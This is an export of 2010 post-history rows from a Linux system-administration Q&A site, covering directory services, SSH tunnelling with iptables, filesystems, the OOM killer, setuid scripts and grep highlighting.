  <row Id="616" PostHistoryTypeId="2" PostId="338" RevisionGUID="91b7aac9-d33d-49fe-9b28-b8e33cd8596a" CreationDate="2010-08-11T19:43:29.227" UserId="272" Text="You either build your own Active Directory-equivalent from Kerberos and OpenLDAP (Active Directory basically *is* Kerberos and LDAP, anyway) and use a tool like Puppet (or OpenLDAP itself) for something resembling policies, or you use [FreeIPA][1] as an integrated solution.&#xD;&#xA;&#xD;&#xA;There's also a wide range of commercially supported LDAP servers for Linux, like Red Hat Directory Server. RHDS (like 389 Server, which is the free version of RHDS) has a nice Java GUI for management of the directory. It does neither Kerberos nor policies though. &#xD;&#xA;&#xD;&#xA;Personally, I really like the FreeIPA project and I think it has a lot of potential. I don't think there is a commercial solution based on it (anymore) though. &#xD;&#xA;&#xD;&#xA;That said, what your are asking about is more like a fileserver solution than an authentication solution (which is what AD is). If you want your files on all machines you log into, you have to set up an NFS server and export an NFS share from your fileserver to your network. NFSv3 has IP-range based ACL's, NFSv4 would be able to do proper authentication with Kerberos and combines nicely with the authentication options I described above.&#xD;&#xA;&#xD;&#xA;If you have Windows boxes on your network, you will want to setup a Samba server, which can share out your files to Linux and Windows boxes alike. Samba3 can also function as an NT4 style domain controller, whereas the upcoming Samba4 will be able to mimic a Windows 2003 style domain controller.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freeipa.org/page/Main_Page" />
  <row Id="617" PostHistoryTypeId="2" PostId="339" RevisionGUID="52f84516-f3d8-46ed-b283-11f8fccc80de" CreationDate="2010-08-11T19:48:16.407" UserId="311" Text="If you're really just trying to share files from one server to a few other machines, you may just want to use something simpler like Samba (especially if you're interoperating with some Windows clients) or NFS shares." />
  <row Id="618" PostHistoryTypeId="2" PostId="340" RevisionGUID="24e44449-ef95-43ff-8db6-08cb6bc32eb8" CreationDate="2010-08-11T19:57:13.483" UserId="45" Text="There is no reason you can't use Monodevelop on KDE. All GTK+ apps should work, the only real downside is it might look a little bit alien and its going to pull in a large set of libraries that you &quot;don't need&quot; unless you have other GTK+ apps installed.&#xD;&#xA;&#xD;&#xA;FWIW, I use emacs for most of my Mono development." />
  <row Id="619" PostHistoryTypeId="2" PostId="341" RevisionGUID="e0f4b7b3-290f-41ff-9889-a42b8e1d365e" CreationDate="2010-08-11T20:09:47.790" UserId="140" Text="Install &quot;sl&quot;. Choo choo! http://www.tkl.iis.u-tokyo.ac.jp/~toyoda/index_e.html" />
  <row Id="620" PostHistoryTypeId="16" PostId="341" RevisionGUID="e0f4b7b3-290f-41ff-9889-a42b8e1d365e" CreationDate="2010-08-11T20:09:47.790" UserId="-1" />
  <row Id="621" PostHistoryTypeId="2" PostId="342" RevisionGUID="f1943141-9138-4aaf-970e-525930afeb04" CreationDate="2010-08-11T20:11:06.913" UserId="315" Text="I would like to be able to SSH to my machine using a Gemalto .NET Smart Card as the authentication method. How could this be done on a Fedora 13 (or generic Red Hat style) machine?&#xD;&#xA;&#xD;&#xA;These are the rough steps I think are needed:&#xD;&#xA;&#xD;&#xA;1. Provision certificate for the smart card (and possibly a CA to issue it?)&#xD;&#xA;2. Get the certificate onto the smart card&#xD;&#xA;3. Configure SSH server to allow smart card authentication and configure it to use a particular certificate/CA&#xD;&#xA;4. An SSH client that has smart card support (extra points for a free Windows based one)" />
  <row Id="622" PostHistoryTypeId="1" PostId="342" RevisionGUID="f1943141-9138-4aaf-970e-525930afeb04" CreationDate="2010-08-11T20:11:06.913" UserId="315" Text="How can I set up smart card SSH authentication?" />
  <row Id="623" PostHistoryTypeId="3" PostId="342" RevisionGUID="f1943141-9138-4aaf-970e-525930afeb04" CreationDate="2010-08-11T20:11:06.913" UserId="315" Text="ésshà" />
  <row Id="624" PostHistoryTypeId="2" PostId="343" RevisionGUID="8e6bf95c-ce4f-4b6e-af13-7d4b207b4711" CreationDate="2010-08-11T20:27:28.530" UserId="274" Text="As others have pointed out, `cron` will email you the output of any program it runs. So, if you don't get any output, there are basically two possibilities:&#xD;&#xA;&#xD;&#xA;1. `crond` had troubles running the program&#xD;&#xA;2. `crond` had troubles mailing the output, or the mail was lost.&#xD;&#xA;&#xD;&#xA;In case 1., you should see something in the cron logs.  Cron has an own reserved syslog facility, so you should have a look into `/etc/syslog.conf` (or the equivalent file in your distro) to see where messages of facility `cron` are sent.  Popular destinations include `/var/log/cron`, `/var/log/messages` and `/var/log/syslog`.&#xD;&#xA;&#xD;&#xA;In case 2., you should inspect the mailer daemon logs: messages from the Cron daemon usually appear as from `root@yourhost`.  You can use a `MAILTO=...` line in the crontab file to have cron send email to a specific address, which should make it easier to grep the mailer daemon logs.  For instance:&#xD;&#xA;&#xD;&#xA;    MAILTO=my.offsite.email@example.org&#xD;&#xA;    00 15 * * *  echo &quot;Just testing if crond sends email&quot;&#xD;&#xA;" />
  <row Id="625" PostHistoryTypeId="2" PostId="344" RevisionGUID="e85ec27b-3ea1-42c4-af4d-61c4d4289a0c" CreationDate="2010-08-11T20:28:01.430" UserId="111" Text="I'd recommend kerberos.  MIT produces a krb5 client &amp; server.&#xD;&#xA;&#xD;&#xA;vwduder, could you recommend a smart card reader and a source of FIPS-201 compliant cards?&#xD;&#xA;&#xD;&#xA;http://csrc.nist.gov/publications/fips/fips201-1/FIPS-201-1-chng1.pdf&#xD;&#xA;&#xD;&#xA;I have a copy on my own server, but I am not popular enough on this stacktrace at this moment to share it with you.  The above is only slightly less reliable than our own servers, so you will probably be able to get it from them ;)" />
  <row Id="626" PostHistoryTypeId="5" PostId="194" RevisionGUID="34b7b7cc-0727-4b28-9b6b-e66637013152" CreationDate="2010-08-11T21:00:55.173" UserId="138" Comment="btrfs availability in the mainline kernel goes back further than I remembered; updated its item accordingly" Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and has been in the mainline kernel for testing since 2.6.29 (released in January 2009)&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-on-fuse.blogspot.com/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition.&#xD;&#xA;&#xD;&#xA;**EDIT**: As for whether the two will ever merge, or one be deprecated in favor of the other, I can only opine, since I don't have any say in any of this.  What I can observe is that, although ZFS has gotten a lot of hype, the longstanding licensing issue and the still-ongoing &lt;a href=&quot;http://www.sun.com/lawsuit/zfs/&quot;&gt;patent lawsuit with NetApp&lt;/a&gt; over it cast a pretty dark shadow over its future.  First-to-market isn't always the winner.  Just as PNG was created to solve a patent problem with GIF and substantially replaced it over the span of several years, btrfs may someday push ZFS out of the limelight.&#xD;&#xA;&#xD;&#xA;**EDIT**: As for the advisability of using the &lt;a href=&quot;http://github.com/behlendorf/zfs&quot;&gt;Behlendorf ZFS port for Linux&lt;/a&gt;, the &lt;a href=&quot;http://wiki.github.com/behlendorf/zfs/faq&quot;&gt;first question in their FAQ&lt;/a&gt; expands on what I said above: it'll never be in the official kernel due to the licensing conflict, though this doesn't stop you from integrating the two at your site, as long as you don't distribute the combination.  That's enough to kill it for me.  First, I want the freedom to build up a Linux box, then sell it to someone: that violates the clause of the GPL that lets you do on-site integration with code under an incompatible license as long as the result doesn't get distributed.  Second, I want my Linux distro's installer to be able to create all filesystems at install time, which means they also need the freedom to distribute the kernel with the filesystems in it that I want to use.  If it doesn't come built into my Linux distro of choice, I won't use it in production." />
  <row Id="627" PostHistoryTypeId="2" PostId="345" RevisionGUID="e75c9de7-d0a7-4778-b00e-577519d7d0dd" CreationDate="2010-08-11T21:06:12.930" UserId="159" Text="There are certain websites/services which I can only access from the subnet on which my server is located (think of the typical intranet scenario). Is there a way to transparently route traffic that go to these addresses through an SSH tunnel?&#xD;&#xA;&#xD;&#xA;Consider the following setup:&#xD;&#xA;&#xD;&#xA;My laptop is connected on the home network. It cannot access services on ips X and Y directly. I have an SSH tunnel to a server which is on a subnet that can actually access these services.&#xD;&#xA;&#xD;&#xA;Can I somehow automatically encapsulate all the traffic to the subnets of X and Y to go through this tunnel, without having to run the entire VPN solution that would send all my traffic through the server? In other words: all traffic that goes to any other subnet should still go directly from the laptop, without passing through the server (using the tunnel)." />
  <row Id="628" PostHistoryTypeId="1" PostId="345" RevisionGUID="e75c9de7-d0a7-4778-b00e-577519d7d0dd" CreationDate="2010-08-11T21:06:12.930" UserId="159" Text="How to route specific adresses through a tunnel?" />
  <row Id="629" PostHistoryTypeId="3" PostId="345" RevisionGUID="e75c9de7-d0a7-4778-b00e-577519d7d0dd" CreationDate="2010-08-11T21:06:12.930" UserId="159" Text="énetworkingàéroutingàéipàétunnelsà" />
  <row Id="632" PostHistoryTypeId="2" PostId="347" RevisionGUID="4202782f-55fe-448f-879f-fe2c383cf19a" CreationDate="2010-08-11T21:48:06.880" UserId="32" Text="I have tried OpenLDAP and Samba 3.x and both won't give you the centralized authentication that you are looking for. As wzzrd said, Samba 4.x probably will give you that. Samba 3.x domain controller is more like a workgroup option. You still need to create users in Unix/Samba as well as Windows and then map them. In the end I removed OpenLDAP and use only  Samba now." />
  <row Id="633" PostHistoryTypeId="2" PostId="348" RevisionGUID="20253e13-0b19-4b61-9a22-cec8cf49e70a" CreationDate="2010-08-11T21:53:13.790" UserId="301" Text="I have Linux machine dedicated to serving static contents and php pages with Apache.&#xD;&#xA;Apache also work as a reverse proxy in a subdomain.&#xD;&#xA;&#xD;&#xA;I moved the PostgreSQL database in another linux machine.&#xD;&#xA;&#xD;&#xA;Is it safe to disable the OOM killer in the kernel?" />
  <row Id="634" PostHistoryTypeId="1" PostId="348" RevisionGUID="20253e13-0b19-4b61-9a22-cec8cf49e70a" CreationDate="2010-08-11T21:53:13.790" UserId="301" Text="Is it safe to disable OOM killer in a web server/reverse proxy?" />
  <row Id="635" PostHistoryTypeId="3" PostId="348" RevisionGUID="20253e13-0b19-4b61-9a22-cec8cf49e70a" CreationDate="2010-08-11T21:53:13.790" UserId="301" Text="élinuxàékernelà" />
  <row Id="636" PostHistoryTypeId="2" PostId="349" RevisionGUID="59a5697e-9d4e-4870-9655-03817534fa82" CreationDate="2010-08-11T22:06:08.823" UserId="116" Text="Probably not.&#xD;&#xA;&#xD;&#xA;If the OOM killer is running then it is likely that the OOM killer needs to be run to avoid the machine simple grinding to a halt as nothing, even the kernel, can allocate new memory if needed. The OOM killer exists because it is generally better to have some services fall over due to the killer than the whole machine to fall off the face of the 'net.&#xD;&#xA;&#xD;&#xA;If you see the OOM killer in action with any regularity then you should either reconfigure the services on the machine to use less RAM, or you may need to add more RAM to the machine." />
  <row Id="637" PostHistoryTypeId="2" PostId="350" RevisionGUID="e7120fad-a911-4b5b-a220-73f1946ed106" CreationDate="2010-08-11T22:13:58.553" UserId="274" Text="Disclaimer: I have not actually tested what I'm going to describe, and&#xD;&#xA;indeed it can be completely wrong, but your question is so intriguing&#xD;&#xA;that I cannot resist the temptation to draft an answer. :-)  Also, the&#xD;&#xA;setup here depends on some `iptables` functionality that might exist&#xD;&#xA;only on Linux.&#xD;&#xA;&#xD;&#xA;Assuming you want to connect from your laptop to a specific port P1 on&#xD;&#xA;server X1, to port P2 on server X2, etc. -- I am going to describe how&#xD;&#xA;to route TCP traffic to these specific server+port pairs through an&#xD;&#xA;SSH tunnel.  *Note:* the IP addresses X1,X2,etc are the IP addresses&#xD;&#xA;of server as seen from the gateway host (the one you SSH into).&#xD;&#xA;&#xD;&#xA;1. Select some unused local ports L1 (e.g. 10000), L2 (e.g. 10001), etc.  Ports L1, L2, ..., must be all distinct and their number should be equal to the number of distinct (Xn,Pn) server+port pairs.&#xD;&#xA;&#xD;&#xA;2. Use `iptables` to redirect packets directed to Xn:Pn onto localhost:Ln&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A OUTPUT -p tcp -d X1 --dport P1 -j DNAT --to-destination localhost:L1&#xD;&#xA;    iptables -t nat -A OUTPUT -p tcp -d X2 --dport P2 -j DNAT --to-destination localhost:L2&#xD;&#xA;&#xD;&#xA;3. Now SSH to the gateway, using the `-L` option to tunnel traffic from localhost:Ln to (Xn, Pn):&#xD;&#xA;&#xD;&#xA;    ssh gateway.server -L localhost:L1:X1:P1 -L localhost:L2:X2:P2 ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    # access webserver.intranet (port 80) through localhost:10080&#xD;&#xA;    iptables -t nat -A OUTPUT -p tcp -d webserver.intranet --dport 80 -j DNAT --to-destination localhost:10080&#xD;&#xA;    ssh gateway.server -L locahost:10080:webserver.intranet:80&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Caveats:&#xD;&#xA;&#xD;&#xA; * it only works for TCP, if it works at all...&#xD;&#xA;&#xD;&#xA; * if you want to access more than one server, it's probably less work&#xD;&#xA;   to setup a VPN&#xD;&#xA;&#xD;&#xA; * it might still be easier to use SSH `-D` option to simulate a SOCKS&#xD;&#xA;   proxy and tunnel all your traffic through that.&#xD;&#xA;" />
  <row Id="638" PostHistoryTypeId="2" PostId="351" RevisionGUID="daf562fb-bd45-41a9-a84b-08c263d6b3f0" CreationDate="2010-08-11T22:31:00.347" UserId="45" Text="Its not fully functional/released yet but I am working on something that might interest you: &#xD;&#xA;&#xD;&#xA;http://github.com/jacksonh/mango/blob/master/docs/tutorial/page-1.md  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="639" PostHistoryTypeId="2" PostId="352" RevisionGUID="589496b8-6876-464a-91ac-a48515e00d82" CreationDate="2010-08-11T22:31:14.293" UserId="27" Text="&gt; subnets of X and Y to go through this&#xD;&#xA;&gt; tunnel, without having to run the&#xD;&#xA;&gt; entire VPN solution that would send&#xD;&#xA;&gt; all my traffic through the server?&#xD;&#xA;&#xD;&#xA;What you want is the definition of a VPN.&#xD;&#xA;&#xD;&#xA;A VPN should not&#xD;&#xA;&gt; send&#xD;&#xA;&gt; all [your] traffic through the server?&#xD;&#xA;&#xD;&#xA;If it is, it is not setup properly.&#xD;&#xA;&#xD;&#xA;It is assumed that any machine your trying to get access to via a Tunnel or VPN, by definition, not accessible via the Internet.  So, only the needed, non-Internet routable address should be routed down the VPN.&#xD;&#xA;&#xD;&#xA;If you have a more complicated situation, like only machine X and Y and nothing else.  Your IT staff can put those on a subnet for you.  Then on your client computer, only route that subnet down the VPN." />
  <row Id="640" PostHistoryTypeId="2" PostId="353" RevisionGUID="3f172c1e-5c59-46e1-8dab-9f7062c31d7f" CreationDate="2010-08-11T23:25:38.180" UserId="322" Text="You can specify the interface through which to route traffic in the routing table:&#xD;&#xA;&#xD;&#xA;    sudo route add &lt;host.com&gt; -interface &lt;ppp0&gt;&#xD;&#xA;&#xD;&#xA;Where host.com is the hostname or ip that you want to access through the interface, and ppp0 is the link identifier for your vpn shown with the `ifconfig` command." />
  <row Id="642" PostHistoryTypeId="2" PostId="354" RevisionGUID="9fff9951-a7be-4ad6-96ae-495fce01723e" CreationDate="2010-08-12T00:37:59.243" UserId="169" Text="In answer to the 'what problems might it cause' part of the question: as with any partitioning there is always a risk that you will come to need more space than you initially allocated. While this is unlikely in the case of `/boot`, there was recently [an issue with pre-upgrade in Fedora][1] caused by small `/boot` sizes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/Common_F13_bugs#Preupgrade_doesn.27t_work_with_default-sized_.2Fboot_partition" />
  <row Id="643" PostHistoryTypeId="2" PostId="355" RevisionGUID="33bbeee0-fcce-40bb-b4e7-5e35b4cfa855" CreationDate="2010-08-12T00:42:30.730" UserId="137" Text="Recent versions of OpenSSH support tun/tap network devices for true VPN support. See https://help.ubuntu.com/community/SSH_VPN for some basic documentation (obviously intended for Ubuntu, but the basic principle applies elsewhere.)" />
  <row Id="644" PostHistoryTypeId="2" PostId="356" RevisionGUID="d3235f32-dd16-4f60-a0d1-5bc8b6e91b7d" CreationDate="2010-08-12T00:49:20.157" UserId="160" Text="After calling `make installworld` (or `make world`), there are two ways of updating source files in the new world: calling `mergemaster -p` or `make distribution`.  I know that `megermaster` calls `make distribution` but what else does it do and why would I call it instead of just `make distribution`?" />
  <row Id="645" PostHistoryTypeId="1" PostId="356" RevisionGUID="d3235f32-dd16-4f60-a0d1-5bc8b6e91b7d" CreationDate="2010-08-12T00:49:20.157" UserId="160" Text="What does mergemaster do that make distribution doesn't?" />
  <row Id="646" PostHistoryTypeId="3" PostId="356" RevisionGUID="d3235f32-dd16-4f60-a0d1-5bc8b6e91b7d" CreationDate="2010-08-12T00:49:20.157" UserId="160" Text="éfreebsdàéjailsà" />
  <row Id="647" PostHistoryTypeId="2" PostId="357" RevisionGUID="3cf6bb7e-cf11-470d-973f-3738507d8358" CreationDate="2010-08-12T00:49:57.207" UserId="137" Text="For emacs users, there's the nefariously evil [broken-keyboard.el][1] which makes the victim think their keyboard has weird problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.red-bean.com/fitz/software/broken-keyboard.el" />
  <row Id="648" PostHistoryTypeId="16" PostId="357" RevisionGUID="3cf6bb7e-cf11-470d-973f-3738507d8358" CreationDate="2010-08-12T00:49:57.207" UserId="-1" />
  <row Id="649" PostHistoryTypeId="2" PostId="358" RevisionGUID="48a0b18f-eed3-469d-adfa-6c10b589ee5b" CreationDate="2010-08-12T00:53:27.463" UserId="56" Text="&gt; Can I somehow automatically encapsulate all the traffic to the subnets of X and Y to go through this tunnel, without having to run the entire VPN solution that would send all my traffic through the server?&#xD;&#xA;&#xD;&#xA;This is a bit strange at first glance because that's what a VPN will do for you.  SSH tends to be a point-to-point affair, the idea being that you connect one port on your local machine to the port of a remote machine elsewhere; it really wasn't designed for the type of traffic you envision.&#xD;&#xA;&#xD;&#xA;&gt; In other words: all traffic that goes to any other subnet should still go directly from the laptop, without passing through the server (using the tunnel).&#xD;&#xA;&#xD;&#xA;Again, a VPN would take care of that.&#xD;&#xA;&#xD;&#xA;If you are concerned about a &quot;heavyweight&quot; solution to getting secure VPN traffic (i.e. you don't want to monkey with it because it would be too complicated) you should really look at [OpenVPN][1], which will do exactly what you are describing.  No only would it encapsulate all of the traffic, but it can be done in a way that only traffic destined for those subnets will make the trip over the VPN pipe.  I will warn you that you will still need to edit a text file on the local and remote machine(s), but it's fairly easy to get running.&#xD;&#xA;&#xD;&#xA;For your purposes, because you do not want the party in the middle (a server) to see your traffic, you would set up the VPN to connect directly from your machine to the remote machine.  Any routed packets would be encrypted before leaving your laptop, so you would have 100% end-to-end coverage.&#xD;&#xA;&#xD;&#xA;  [1]: http://openvpn.net/" />
  <row Id="650" PostHistoryTypeId="2" PostId="359" RevisionGUID="35d35392-86f4-4409-8cc4-1a10cd9ca966" CreationDate="2010-08-12T00:59:19.120" UserId="56" Text="This is a holdover from &quot;ye olde tymes&quot; when machines had trouble addressing large hard drives.  The idea behind the `/boot` partition was to make the partition always accessible to any machine that the drive was plugged into.  If the machine could get to the start of the drive (lower cylinder numbers) then it could bootstrap the system; from there the linux kernel would be able to bypass the BIOS boot restriction and work around the problem.  As modern machines have lifted that restriction, there is no longer a fixed need for `/boot` to be separate, unless you require additional processing of the other partitions, such as encryption or file systems that are not natively recognized by the bootloader.&#xD;&#xA;&#xD;&#xA;Technically, you can get away with a single partition and be just fine, provided that you are not using really *really* old hardware (pre-1998 or so).&#xD;&#xA;&#xD;&#xA;If you do decide to use a separate partition, just be sure to give it adequate room, say 200mb of space.  That will be more than enough for several kernel upgrades (which consume several megs each time).  If /boot starts to fill up, remove older kernels that you don't use and adjust your bootloader to recognize this fact." />
  <row Id="651" PostHistoryTypeId="2" PostId="360" RevisionGUID="fc30c246-41d9-408f-ba10-9507fa6370f2" CreationDate="2010-08-12T01:01:30.553" UserId="228" Text="When testing Mono/Linux vs .NET/Windows workloads, you have to remember that there is more at play than just the runtime environment.&#xD;&#xA;&#xD;&#xA;There are areas in which Linux performs better than Windows (Most IO and network operations tend to be faster for comparable C programs).   At the same time, .NET has a more advanced garbage collector and a more advanced JIT compiler.&#xD;&#xA;&#xD;&#xA;When it comes to the class libraries, it really depends on what code paths you are using.   As JacksonH said on a previous post, you can hit code paths that have been optimized in one implementation, but not on the other, and viceversa.   &#xD;&#xA;&#xD;&#xA;On ASP.NET workloads you have to remember that the default setup will route all incoming requests to a single &quot;worker&quot; process, mod_mono and Cherokee use a similar approach:&#xD;&#xA;&#xD;&#xA;![Many HTTP server to one mod-mono-server][1]&#xD;&#xA;&#xD;&#xA;At least with Apache we support a mechanism where you can divide application workloads across multiple workers, which helps under high loads as it avoids any in-process locking and gives each worker a whole thread pool to work from:&#xD;&#xA;&#xD;&#xA;![Routing requests to different ASP.NET hosts with mod_mono][2]&#xD;&#xA;The details on how to configure this setup are available here:&#xD;&#xA;&#xD;&#xA;http://mono-project.com/Mod_mono&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mono-project.com/files/c/cc/Modmono-basic-setup.PNG&#xD;&#xA;  [2]: http://mono-project.com/files/9/9b/Modmono-multiple-servers.PNG" />
  <row Id="655" PostHistoryTypeId="2" PostId="362" RevisionGUID="cdf7e809-3358-4c15-88ef-70553d83c585" CreationDate="2010-08-12T01:31:18.457" UserId="56" Text="It's quite feasible, and already done.&#xD;&#xA;&#xD;&#xA;As someone has already mentioned, Likewise will give you direct integration.  However...&#xD;&#xA;&#xD;&#xA;If you want to take the plunge, you could also install `winbind` from the Samba project, which would give you the same experience.  Using winbind, your machine will become a domain member...and user accounts in Active Directory can be transparently mapped and assigned UID/GID settings." />
  <row Id="656" PostHistoryTypeId="2" PostId="363" RevisionGUID="1243c691-a905-4325-b732-ff5ffd088b26" CreationDate="2010-08-12T01:41:50.727" UserId="327" Text="On Windows (sorry!), the `Sounds &amp; Multimedia` control panel allows the connection of sound snippets to various operating-system events, like window movements, process start/stop, and start-up/shutdown.&#xD;&#xA;&#xD;&#xA;I am using Gnome on Fedora 13, and I have not had any luck discovering any similar functionality. Does such a function exist? If so, is it cross-window-manager-compatible or tied to a specific window manager (Gnome, KDE, etc.) or distribution?" />
  <row Id="657" PostHistoryTypeId="1" PostId="363" RevisionGUID="1243c691-a905-4325-b732-ff5ffd088b26" CreationDate="2010-08-12T01:41:50.727" UserId="327" Text="How to integrate sound with desktop events?" />
  <row Id="658" PostHistoryTypeId="3" PostId="363" RevisionGUID="1243c691-a905-4325-b732-ff5ffd088b26" CreationDate="2010-08-12T01:41:50.727" UserId="327" Text="élinuxàéfedoraàéaudioà" />
  <row Id="659" PostHistoryTypeId="2" PostId="364" RevisionGUID="6d7a527d-84d0-48f5-adae-8998f6997e4e" CreationDate="2010-08-12T02:20:07.373" UserId="73" Text="The `setuid` permission bit tells Linux to run a program with the effective user id of the owner instead of the executor:&#xD;&#xA;&#xD;&#xA;    &gt; cat setuid-test.c&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;&#xD;&#xA;    int main(int argc, char** argv) {&#xD;&#xA;    	printf(&quot;%d&quot;, geteuid());&#xD;&#xA;    	return 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    &gt; gcc -o setuid-test setuid-test.c&#xD;&#xA;    &gt; ./setuid-test&#xD;&#xA;&#xD;&#xA;    1000&#xD;&#xA;&#xD;&#xA;    &gt; sudo chown nobody ./setuid-test; sudo chmod +s ./setuid-test&#xD;&#xA;    &gt; ./setuid-test&#xD;&#xA;&#xD;&#xA;    65534&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, this only applies to executables; shell scripts ignore the setuid bit:&#xD;&#xA;&#xD;&#xA;    &gt; cat setuid-test2&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    id -u&#xD;&#xA;&#xD;&#xA;    &gt; ./setuid-test2&#xD;&#xA;&#xD;&#xA;    1000&#xD;&#xA;&#xD;&#xA;    &gt; sudo chown nobody ./setuid-test2; sudo chmod +s ./setuid-test2&#xD;&#xA;    &gt; ./setuid-test2&#xD;&#xA;&#xD;&#xA;    1000&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Wikipedia [says](http://en.wikipedia.org/wiki/Setuid):&#xD;&#xA;&#xD;&#xA;&gt; Due to the increased likelihood of security flaws, many operating systems ignore the setuid attribute when applied to executable shell scripts.&#xD;&#xA;&#xD;&#xA;Assuming I'm willing to accept those risks, is there any way to tell Linux to treat the setuid bit the same on shell scripts as it does on executables?&#xD;&#xA;&#xD;&#xA;If not, is there a common workaround for this problem? My current solution is to add a `sudoers` entry to allow `ALL` to run a given script as the user I want it run as, with `NOPASSWD` to avoid the password prompt. The main downsides to that is the need for a `sudoers` entry every time I want to do this, and the need for the caller to `sudo some-script` instead of just `some-script`" />
  <row Id="660" PostHistoryTypeId="1" PostId="364" RevisionGUID="6d7a527d-84d0-48f5-adae-8998f6997e4e" CreationDate="2010-08-12T02:20:07.373" UserId="73" Text="Allow setuid on shell scripts" />
  <row Id="661" PostHistoryTypeId="3" PostId="364" RevisionGUID="6d7a527d-84d0-48f5-adae-8998f6997e4e" CreationDate="2010-08-12T02:20:07.373" UserId="73" Text="éshellàéscriptingàésetuidà" />
  <row Id="662" PostHistoryTypeId="6" PostId="363" RevisionGUID="fcc31f8b-bcfc-450b-ad1a-a38edc10aaf7" CreationDate="2010-08-12T02:21:24.127" UserId="228" Comment="edited tags" Text="élinuxàéfedoraàégnomeàéaudioà" />
  <row Id="663" PostHistoryTypeId="2" PostId="365" RevisionGUID="9a700920-da54-40f3-853f-75584fda087f" CreationDate="2010-08-12T02:24:43.353" UserId="228" Text="This functionality is desktop and window manager specific.&#xD;&#xA;&#xD;&#xA;In particular in Gnome, the desktop is implemented independently of your window manager.   Those events that are triggered by Gnome are controlled by the gnome-volume-control program:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;If you changed your default window manager configuration, it will depend on the window manager that you have selected.&#xD;&#xA;&#xD;&#xA;  [1]: http://tirania.org/shots/1008112227X3SgDZHS.png" />
  <row Id="664" PostHistoryTypeId="2" PostId="366" RevisionGUID="c86d3e27-3bff-44a3-94ac-e85471f39a6d" CreationDate="2010-08-12T02:39:03.320" UserId="73" Text="Say I have the following file:&#xD;&#xA;&#xD;&#xA;    &gt; cat test&#xD;&#xA;&#xD;&#xA;    test line 1&#xD;&#xA;    test line 2&#xD;&#xA;    line without the search word&#xD;&#xA;    another line without it&#xD;&#xA;    test line 3 with two test words&#xD;&#xA;    test line 4&#xD;&#xA;&#xD;&#xA;By default, `grep` returns each line that contains the search term&#xD;&#xA;&#xD;&#xA;    &gt; grep test test&#xD;&#xA;&#xD;&#xA;    test line 1&#xD;&#xA;    test line 2&#xD;&#xA;    test line 3 with two test words&#xD;&#xA;    test line 4&#xD;&#xA;&#xD;&#xA;Passing `grep` `--color` will make it hilight the portion of the line that matches the search expression, but it still only returns lines that contain the exxpression. Is there a way to get `grep` to output every line in the source file, but highlight the matches?&#xD;&#xA;&#xD;&#xA;My current terrible hack to accomplish this (at least on files that don't have 10000+ consecutive lines with no matches) is:&#xD;&#xA;&#xD;&#xA;    &gt; grep -B 9999 -A 9999 test test&#xD;&#xA;&#xD;&#xA;If `grep` can't accomplish this, is there another command-line tool that offers the same functionality? I've fiddled with [`ack`](http://betterthangrep.com/), but it doesn't seem to have an option for it either" />
  <row Id="665" PostHistoryTypeId="1" PostId="366" RevisionGUID="c86d3e27-3bff-44a3-94ac-e85471f39a6d" CreationDate="2010-08-12T02:39:03.320" UserId="73" Text="Convince grep to output all lines, not just those with matches" />
  <row Id="666" PostHistoryTypeId="3" PostId="366" RevisionGUID="c86d3e27-3bff-44a3-94ac-e85471f39a6d" CreationDate="2010-08-12T02:39:03.320" UserId="73" Text="égrepà" />
  <row Id="667" PostHistoryTypeId="16" PostId="320" RevisionGUID="387251e7-7ecd-4703-b8be-084dabf47e6d" CreationDate="2010-08-12T02:39:35.033" UserId="308" />
  <row Id="668" PostHistoryTypeId="2" PostId="367" RevisionGUID="079574b9-78f1-4c66-984f-83385f62d368" CreationDate="2010-08-12T02:52:30.493" UserId="45" Text="    grep --color -E &quot;test|$&quot; yourfile&#xD;&#xA;&#xD;&#xA;What we're doing here is matching against the $ pattern and the test pattern, obviously $ doesn't have anything to colourize so only the test pattern gets color.  The -E just turns on extended regex matching.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="669" PostHistoryTypeId="2" PostId="368" RevisionGUID="e2a4c434-300c-4568-88f7-a02ce521b830" CreationDate="2010-08-12T03:09:06.680" UserId="160" Text="You can try:&#xD;&#xA;&#xD;&#xA;    perl -MTERM::ANSIColor -nle '/pattern/ ? print colored($_, 'color') : print' test&#xD;&#xA;&#xD;&#xA;Not very portable however, and even if Perl is installed, you may need to download another module.  In addition it will color the entire line, not just the search word.&#xD;&#xA;" />
